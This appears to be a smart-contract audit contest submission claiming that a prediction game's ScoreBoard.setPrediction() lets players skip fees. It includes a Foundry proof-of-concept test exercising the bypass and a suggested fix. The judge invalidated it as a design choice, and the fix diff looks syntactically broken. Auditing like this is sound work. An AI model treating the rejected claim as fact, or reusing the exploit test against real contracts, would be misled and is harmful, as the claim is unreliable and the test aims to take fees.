Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Invalid

A user can pay prediction fee only twice and make prediction for other matches and would still be eligible to withdraw their rewards.

Summary

An attacker can make prediction numerous predictions without paying prediction fees and still be eligible to rewards after the competition.

Vulnerability Details

  • An attacker registers and pays entrance fee like every other user.

  • An attacker makes prediction the first two days so that their prediction count is > 1 to pass the check in isEligibleForReward() check during withdrawal

  • An calls the setPrediction() function in ScoreBoard.sol directly to set prediction without paying this is possible because setPrediction does not check is player has paid to make prediction for that particular match before setting the prediction to playerPredictions.

  • Then attacker withdraws after competition.

Add this file to test folder and run forge t --mc AuditTest --mt test_canMakePredictionWithoutPaying -vvvv

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
contract AuditTest is Test {
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
uint256 private constant START_TIME = 1723752000; // Thu Aug 15 2024 20:00:00 GMT+0000
address public organizer = makeAddr("organizer");
address public stranger = makeAddr("stranger");
address public player = makeAddr("player");
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(
address(scoreBoard),
0.04 ether,
0.0001 ether
);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
}
function test_canMakePredictionWithoutPaying() public{
vm.deal(stranger, 0.0402 ether);
vm.deal(player, 1 ether);
//stranger registers with fee
vm.prank(stranger);
thePredicter.register{value: 0.04 ether}();
//player registers with fee
vm.prank(player);
thePredicter.register{value: 0.04 ether}();
//stranger makes prediction with fee
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(0, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Second);
assertEq(stranger.balance, 0);
//stranger can make all other predictions with paying and still be eligble to withdraw
scoreBoard.setPrediction(stranger, 2, ScoreBoard.Result.First);
scoreBoard.setPrediction(stranger, 3, ScoreBoard.Result.First);
scoreBoard.setPrediction(stranger, 4, ScoreBoard.Result.First);
scoreBoard.setPrediction(stranger, 5, ScoreBoard.Result.First);
scoreBoard.setPrediction(stranger, 6, ScoreBoard.Result.First);
scoreBoard.setPrediction(stranger, 7, ScoreBoard.Result.First);
scoreBoard.setPrediction(stranger, 8, ScoreBoard.Result.First);
vm.stopPrank();
vm.startPrank(player);
//player makes prediction with fee
thePredicter.makePrediction{value: 0.0001 ether}(0, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(4, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(5, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(6, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(7, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(8, ScoreBoard.Result.Second);
vm.stopPrank();
vm.startPrank(organizer);
//organizer sets results
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.Second);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.Second);
scoreBoard.setResult(4, ScoreBoard.Result.Second);
scoreBoard.setResult(5, ScoreBoard.Result.Second);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.Second);
scoreBoard.setResult(8, ScoreBoard.Result.Second);
vm.stopPrank();
vm.startPrank(stranger);
//stranger withdraws
thePredicter.withdraw();
assert(stranger.balance > 0);
}
}

Impact

This could lead to players predicting without paying which invariably leads to loss of prediction fees on the protocol ends

Tools Used

Manual code review

Recommendations

The protocol should have a check in the setPrediction() in ScoreBoard.sol to make sure a user has paid prediction fee before it is set

function setPrediction(
address player,
uint256 matchNumber,
Result result
) public {
- if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400)
+ if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400 && playersPredictions[player].isPaid[matchNumber]) {
playersPredictions[player].predictions[matchNumber] = result;
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (
playersPredictions[player].predictions[i] != Result.Pending &&
playersPredictions[player].isPaid[i]
) ++playersPredictions[player].predictionsCount;
}
}
Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.